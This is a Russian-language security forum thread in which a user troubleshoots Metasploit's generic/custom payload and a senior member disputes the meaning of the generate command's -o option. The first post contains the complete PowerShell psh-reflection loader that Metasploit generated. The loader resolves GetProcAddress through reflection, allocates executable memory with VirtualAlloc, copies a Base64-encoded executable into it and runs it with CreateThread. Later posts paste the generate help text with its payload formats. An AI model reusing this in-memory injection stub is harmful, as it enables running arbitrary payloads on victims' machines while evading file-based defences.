• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Metasploit payload/generic/custom

WildMilk

Member
06.03.2019
5
0
BIT
0
Всем привет.
Кто нибудь знает кастомная нагрузка работает в метасплойт?

msfconsole
use payload/generic/custom
set PAYLOADFILE /tmp/calc.exe
generate -f psh-reflection -o /tmp/TEST13.txt

выдает такой скрипт

Код:
function kEWQ {
    Param ($itRK, $bslVw)      
    $qP7 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $qP7.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qP7.GetMethod('GetModuleHandle')).Invoke($null, @($itRK)))), $bslVw))
}
function aaI {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gzY3,
        [Parameter(Position = 1)] [Type] $wbVsn = [Void]
    )
    $hU = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $hU.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gzY3).SetImplementationFlags('Runtime, Managed')
    $hU.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wbVsn, $gzY3).SetImplementationFlags('Runtime, Managed')
    return $hU.CreateType()
}
[Byte[]]$vec6N = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAA**тут калькулятор в Base64String**AAAAAAAAAAAAAAAA")
$ynY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll VirtualAlloc), (aaI @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $vec6N.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($vec6N, 0, $ynY, $vec6N.length)
$l712s = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll CreateThread), (aaI @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$ynY,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll WaitForSingleObject), (aaI @([IntPtr], [Int32]))).Invoke($l712s,0xffffffff) | Out-Null

Но калькулятор не запускается. Хотя когда делаешь какой нибудь реверс_тсп всё работает.

Почему? :)
 

f22

Codeby Academy
Gold Team
05.05.2019
1 844
225
BIT
1 103
как то по диагонали что ли читаешь?
А ты не по диагонали справку читаешь?
посмотри внимательно что ты передаёшь в ключ -о и что нужно, и каким образом

generate -h
OPTIONS:

-E Force encoding.
-b The list of characters to avoid: '\x00\xff'
-e The name of the encoder module to use.
-f The output file name (otherwise stdout)
-h Help banner.
-i the number of encoding iterations.
-k Keep the template executable functional
-o A comma separated list of options in VAR=VAL format.
-p The Platform for output.
-s NOP sled length.
-t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-x The executable template to use

И какой смысл какой смысл создавать файл psh-reflection без расширения, если ты используешь calc.exe?
 

WildMilk

Member
06.03.2019
5
0
BIT
0
psh-reflection без расширения
ну если так будет generate -f psh-reflection -o /tmp/TEST13.ps1 тебе наверное легче станет, расширение то появится :)

сама идея generic/custom взять свою полезную нагрузку и собрать скрипт ( или я что то неправильно понимаю?)

calc.exe в данном случае раскатывается в Base64String , а потом вот тут

[Byte[]]$vec6N = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAA**тут калькулятор в Base64String**AAAAAAAAAAAAAAAA")

запускается из скрипта. Т.е. получается ты как бы встраиваешь exe в скрипт powershell.

Поэтому и вопрос - почему не работает?
 

f22

Codeby Academy
Gold Team
05.05.2019
1 844
225
BIT
1 103
ну если так будет generate -f psh-reflection -o /tmp/TEST13.ps1 тебе наверное легче станет
Второй раз рекомендую тебе прочесть справку.
Специально для тебя переведу с незнакомого тебе языка на русский:

-o A comma separated list of options in VAR=VAL format.

Ключ -о
подразумевает наличие списка опций вида ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ.

А теперь посмотри, что у тебя после этого ключа идёт, при чём тут расширение?
 

WildMilk

Member
06.03.2019
5
0
BIT
0
Ключ -о подразумевает наличие списка опций вида ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ
я вообще думал что -o <opt> Имя выходного файла

msf5 payload(generic/custom) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

-E Force encoding
-O <opt> Deprecated: alias for the '-o' option
-P <opt> Total desired payload size, auto-produce approproate NOPsled length
-S <opt> The new section name to use when generating (large) Windows binaries
-b <opt> The list of characters to avoid example: '\x00\xff'
-e <opt> The encoder to use
-f <opt> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-h Show this message
-i <opt> The number of times to encode the payload
-k Preserve the template behavior and inject the payload as a new thread
-n <opt> Prepend a nopsled of [length] size on to the payload
-o <opt> The output file name (otherwise stdout)
-p <opt> The platform of the payload
-s <opt> NOP sled length.
-x <opt> Specify a custom executable file to use as a template
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!